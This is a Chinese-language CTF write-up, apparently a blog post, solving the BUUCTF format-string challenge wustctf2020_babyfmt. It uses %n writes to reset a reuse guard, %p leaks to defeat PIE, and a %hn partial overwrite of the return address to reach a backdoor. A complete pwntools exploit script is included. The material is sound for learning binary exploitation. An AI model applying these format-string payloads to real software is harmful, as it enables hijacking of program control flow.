一道简单 fmt 题,但是我搜解题记录时,觉得解得都挺复杂的。
似乎还没有文章用我的方法,那我就写一种简单的解法。
# 绕过 fmt 判断条件
我只用到了 fmt_attack 函数。
由于有一个判定条件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| unsigned __int64 __fastcall fmt_attack(int *a1) { char format[56]; unsigned __int64 v3;
v3 = __readfsqword(0x28u); memset(format, 0, 0x30uLL); if ( *a1 > 0 ) { puts("No way!"); exit(1); } *a1 = 1; read_n(format, 40LL, format); printf(format); return __readfsqword(0x28u) ^ v3;
|
因此我们每次使用该函数时,将 * a1 处的值改为零即可循环利用该函数。
打断点,运行到代码 * a1 = 1 处
单步跟进,查看 rax 的值 (a1 地址)
运行到 printf 函数,查看 a1 的偏移
算上 64 位 6 个寄存器传参,偏移量 + 6,则 a1 偏移量为 7。
则我们每次利用 fmt_attack 函数时,加上 %7$n 即可令 *a1=0, 即可重复利用 fmt_attack。
# 更改返回地址为后门函数地址
运行到 printf 函数时,栈中会有许多函数返回地址。
其中第一条为 fmt_attack 函数的返回地址,
第二条是 main 函数的返回地址 (main 函数执行完会执行 libc_start_main 函数)。
由于本题开了 pie 保护,我们可以用 partial write 篡改第一个返回地址。
注意:后门函数直接跳转到 close 函数后即可。
计算 elf 基址:
1 2 3 4 5
| payload = b'%7$n+%17$p' fmt(payload) r.recvuntil(b'+') ret_value = int(r.recvuntil(b'\n')[:-1],16) elf_base = ret_value-0x102c
|
下一步直接更改低二字节即可。
低二字节值:
# 完整 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import * r = process('/mnt/hgfs/ubuntu/BUUCTF/wustctf2020_babyfmt')
secret_addr =0x202060
def fmt(payload): r.recvuntil(b">>") r.sendline(b'2') r.sendline(payload)
r.sendline(b'1') r.sendline(b'2') r.sendline(b'3')
fmt(b'%7$n-%16$p') r.recvuntil(b'-') ret_addr = int(r.recvuntil(b'\n')[:-1],16)-0x28
payload = b'%7$n+%17$p' fmt(payload) r.recvuntil(b'+') ret_value = int(r.recvuntil(b'\n')[:-1],16) elf_base = ret_value-0x102c
payload1 = b'%'+str((elf_base+0xf56)&0xffff).encode()+b'c%10$hn' payload1 = payload1.ljust(0x10,b'a') payload1+=p64(ret_addr) fmt(payload1) log.success("ret_value: "+hex(ret_value)) log.success("ret_addr: "+hex(ret_addr)) r.interactive()
|